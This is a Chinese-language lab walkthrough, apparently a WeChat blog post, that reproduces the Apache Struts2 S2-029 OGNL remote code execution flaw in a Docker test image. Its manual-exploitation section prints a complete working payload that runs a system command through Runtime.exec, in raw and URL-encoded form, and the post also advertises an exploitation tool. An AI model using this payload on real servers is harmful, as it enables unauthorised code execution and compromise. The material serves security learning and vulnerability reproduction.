★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、漏洞介绍
Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,因为大部分用户早就修复了历史的高危漏洞。
1.1、Struts2远程代码执行的原理
Struts2的动态性在于OGNL表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到OGNL的执行流程中,就会导致任意代码执行漏洞。Struts2的RCE本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。
2、S2-029漏洞复现
原理: Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量, Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
在Struts2中,如下的标签就调用了OGNL进行取值。
<p>parameters: <s:property value="#parameters.msg" /></p>
Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。 S2-029仍然是依靠OGNL进行远程代码执行。
影响版本: Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3)
2.1、拉取漏洞环境镜像到本地
# 拉取漏洞环境镜像到本地
docker pull medicean/vulapps:s_struts2_s2-029
2.2、启动漏洞环境
# 启动命令
docker run -d -p 8081:8080 medicean/vulapps:s_struts2_s2-029
2.3、访问靶场
访问:http://192.168.242.4:8081/
或 http://192.168.242.4:8081/default.action
2.4、工具利用
使用工具:Struts2漏洞利用工具2019版 V2.3,文末有获取方式。
2.4.1 、验证漏洞
2.4.2 、命令执行
2.5、手工利用
在浏览器上请求http://192.168.242.4:8081/default.action?message
,然后用burp suite拦截请求,右击send to Repeater,以下是poc原文
(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
使用URL编码后poc,用在线网址:https://www.gjk.cn/urlencode
%28%23_memberAccess%5B%27allowPrivateAccess%27%5D%3Dtrue%2C%23_memberAccess%5B%27allowProtectedAccess%27%5D%3Dtrue%2C%23_memberAccess%5B%27excludedPackageNamePatterns%27%5D%3D%23_memberAccess%5B%27acceptProperties%27%5D%2C%23_memberAccess%5B%27excludedClasses%27%5D%3D%23_memberAccess%5B%27acceptProperties%27%5D%2C%23_memberAccess%5B%27allowPackageProtectedAccess%27%5D%3Dtrue%2C%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29
3、资料获取
如果需要Struts2漏洞利用工具,请关注公众号:大象只为你,后台回复:Struts2漏洞工具。